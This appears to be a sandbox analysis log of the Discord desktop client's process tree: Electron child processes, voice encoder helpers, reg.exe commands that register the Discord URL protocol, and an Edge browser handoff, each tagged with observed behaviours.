C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exeC:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\discord /prefetch:4 --no-rate-limit --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\discord\Crashpad --url=https://f.a.k/e --annotation=_productName=discord --annotation=_version=1.0.9255 --annotation=plat=Win64 --annotation=prod=Electron --annotation=ver=42.7.1 --initial-client-data=0x4f0,0x4f4,0x4f8,0x4d8,0x4fc,0x7ff6543109d8,0x7ff6543109e8,0x7ff6543109f87⤵
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1836,i,5457920713848285928,1496276814058514039,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports --disable-features=AllowAggressiveThrottlingWithWebSocket,AllowAggressiveThrottlingWithWebSocketWinRetrieveSuggestionsOnlyOnDemand,DropInputEventsWhilePaintHolding,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LocalNetworkAccessChecks,MediaSessionService,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation,UseEcoQoSForBackgroundProcess,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --pseudonymization-salt-handle=1844,i,9785183422062033790,9597416567864891895,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1832 /prefetch:27⤵
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --standard-schemes=disclip --secure-schemes=disclip,sentry-ipc --bypasscsp-schemes=sentry-ipc --cors-schemes=disclip,sentry-ipc --fetch-schemes=disclip,sentry-ipc --streaming-schemes=disclip --field-trial-handle=1836,i,5457920713848285928,1496276814058514039,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports --disable-features=AllowAggressiveThrottlingWithWebSocket,AllowAggressiveThrottlingWithWebSocketWinRetrieveSuggestionsOnlyOnDemand,DropInputEventsWhilePaintHolding,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LocalNetworkAccessChecks,MediaSessionService,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation,UseEcoQoSForBackgroundProcess,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --pseudonymization-salt-handle=1844,i,9785183422062033790,9597416567864891895,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1996 /prefetch:117⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /ve /d "URL:Discord Protocol" /f7⤵
- Modifies registry key
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --standard-schemes=disclip --secure-schemes=disclip,sentry-ipc --bypasscsp-schemes=sentry-ipc --cors-schemes=disclip,sentry-ipc --fetch-schemes=disclip,sentry-ipc --streaming-schemes=disclip --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\resources\_app.asar" --no-sandbox --no-zygote --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --enable-h264-mf --enable-h264-mf-zero-copy --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --field-trial-handle=1836,i,5457920713848285928,1496276814058514039,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports --disable-features=AllowAggressiveThrottlingWithWebSocket,AllowAggressiveThrottlingWithWebSocketWinRetrieveSuggestionsOnlyOnDemand,DropInputEventsWhilePaintHolding,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LocalNetworkAccessChecks,MediaSessionService,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation,UseEcoQoSForBackgroundProcess,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --pseudonymization-salt-handle=1844,i,9785183422062033790,9597416567864891895,4 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2868 --splash-media-format=webm /prefetch:17⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /v "URL Protocol" /f7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\DefaultIcon /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe\",-1" /f7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\shell\open\command /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe\" --url -- \"%1\"" /f7⤵
- Modifies registry key
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --standard-schemes=disclip --secure-schemes=disclip,sentry-ipc --bypasscsp-schemes=sentry-ipc --cors-schemes=disclip,sentry-ipc --fetch-schemes=disclip,sentry-ipc --streaming-schemes=disclip --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\resources\_app.asar" --no-sandbox --no-zygote --enable-blink-features=EnumerateDevices,AudioOutputDevices --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --enable-h264-mf --enable-h264-mf-zero-copy --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1836,i,5457920713848285928,1496276814058514039,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports --disable-features=AllowAggressiveThrottlingWithWebSocket,AllowAggressiveThrottlingWithWebSocketWinRetrieveSuggestionsOnlyOnDemand,DropInputEventsWhilePaintHolding,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LocalNetworkAccessChecks,MediaSessionService,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation,UseEcoQoSForBackgroundProcess,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --pseudonymization-salt-handle=1844,i,9785183422062033790,9597416567864891895,4 --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3096 --enable-node-leakage-in-renderers /prefetch:17⤵
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --standard-schemes=disclip --secure-schemes=disclip,sentry-ipc --bypasscsp-schemes=sentry-ipc --cors-schemes=disclip,sentry-ipc --fetch-schemes=disclip,sentry-ipc --streaming-schemes=disclip --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\resources\_app.asar" --no-sandbox --no-zygote --enable-blink-features=EnumerateDevices,AudioOutputDevices --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --enable-h264-mf --enable-h264-mf-zero-copy --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1836,i,5457920713848285928,1496276814058514039,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports --disable-features=AllowAggressiveThrottlingWithWebSocket,AllowAggressiveThrottlingWithWebSocketWinRetrieveSuggestionsOnlyOnDemand,DropInputEventsWhilePaintHolding,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LocalNetworkAccessChecks,MediaSessionService,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation,UseEcoQoSForBackgroundProcess,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --pseudonymization-salt-handle=1844,i,9785183422062033790,9597416567864891895,4 --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=2976 --enable-node-leakage-in-renderers /prefetch:17⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe"\\?\C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe" nvidia8⤵
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe"\\?\C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe" amd8⤵
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe"\\?\C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe" intel8⤵
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe"\\?\C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe" windows-media-foundation8⤵
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe"\\?\C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe" nvidia8⤵
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe"\\?\C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe" amd8⤵
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe"\\?\C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe" intel8⤵
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe"\\?\C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\modules\discord_voice-1\discord_voice\gpu_encoder_helper.exe" windows-media-foundation8⤵
-
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --standard-schemes=disclip --secure-schemes=disclip,sentry-ipc --bypasscsp-schemes=sentry-ipc --cors-schemes=disclip,sentry-ipc --fetch-schemes=disclip,sentry-ipc --streaming-schemes=disclip --field-trial-handle=1836,i,5457920713848285928,1496276814058514039,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports --disable-features=AllowAggressiveThrottlingWithWebSocket,AllowAggressiveThrottlingWithWebSocketWinRetrieveSuggestionsOnlyOnDemand,DropInputEventsWhilePaintHolding,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LocalNetworkAccessChecks,MediaSessionService,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation,UseEcoQoSForBackgroundProcess,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --pseudonymization-salt-handle=1844,i,9785183422062033790,9597416567864891895,4 --trace-process-track-uuid=3190708993808206286 --mojo-platform-channel-handle=4116 /prefetch:147⤵
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --standard-schemes=disclip --secure-schemes=disclip,sentry-ipc --bypasscsp-schemes=sentry-ipc --cors-schemes=disclip,sentry-ipc --fetch-schemes=disclip,sentry-ipc --streaming-schemes=disclip --field-trial-handle=1836,i,5457920713848285928,1496276814058514039,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports --disable-features=AllowAggressiveThrottlingWithWebSocket,AllowAggressiveThrottlingWithWebSocketWinRetrieveSuggestionsOnlyOnDemand,DropInputEventsWhilePaintHolding,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LocalNetworkAccessChecks,MediaSessionService,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation,UseEcoQoSForBackgroundProcess,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --pseudonymization-salt-handle=1844,i,9785183422062033790,9597416567864891895,4 --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=4252 /prefetch:127⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discordapp.com/handoff?rpc=6463&key=dd26dec3-773a-4035-a219-d35aef9947b77⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7fff741bc188,0x7fff741bc194,0x7fff741bc1a08⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1900,i,6930077667349494685,14791312314103059439,524288 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:118⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1660,i,17817094959772457105,13985464489727808019,262144 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=2320 /prefetch:28⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2552,i,9427849833665614453,5718978728619354566,524288 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=3244 /prefetch:138⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3596,i,7641816347230677375,10591185711589568146,2097152 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:18⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3600,i,11320089174417383193,7430533680486760286,2097152 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:18⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4068,i,8634424518927233781,13149614836504726400,2097152 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=4108 /prefetch:18⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4320,i,3216412731593231286,5939061176849283416,2097152 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=4332 /prefetch:18⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4372,i,9125682712915471154,4374508469271177740,2097152 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=4404 /prefetch:98⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5432,i,8052290034421307406,3950203683899932150,2097152 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:18⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5412,i,414699133791287203,1075223953826055648,524288 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5684,i,4865111064376359580,1160017085197569500,2097152 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=5688 /prefetch:18⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5904,i,18017111138497712064,13765616992024219779,524288 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5908,i,14374860815916999026,1516971565248371339,524288 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=5856 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6660,i,13597192297260697736,14986202073444839930,524288 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6660,i,13597192297260697736,14986202073444839930,524288 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6764,i,15683953044315288356,16991102434474428167,524288 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=6796 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6948,i,7641940027374383580,15413046068809355448,524288 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=6940 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6948,i,17330846315060769876,9543266903267093024,524288 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=7012 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7072,i,7429869889780828192,6932800867394270428,524288 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=7032 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4664,i,14440271819614993955,10354235089588437668,524288 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=4668 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4084,i,8915611634700871320,4377822291698493843,524288 --field-trial-handle=2324,i,1869187011100560503,13917977946924304541,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:128⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window8⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x22c,0x2d8,0x7fff741bc188,0x7fff741bc194,0x7fff741bc1a09⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1876,i,7992390995558884568,9383334943053356795,262144 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=2488 /prefetch:29⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2124,i,3006470936103219712,2476176916633090380,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=2520 /prefetch:119⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2596,i,7001738844894657128,8694742795128069288,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=2780 /prefetch:139⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4428,i,9233723602466305313,5967632270356592066,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=4440 /prefetch:149⤵
-
-
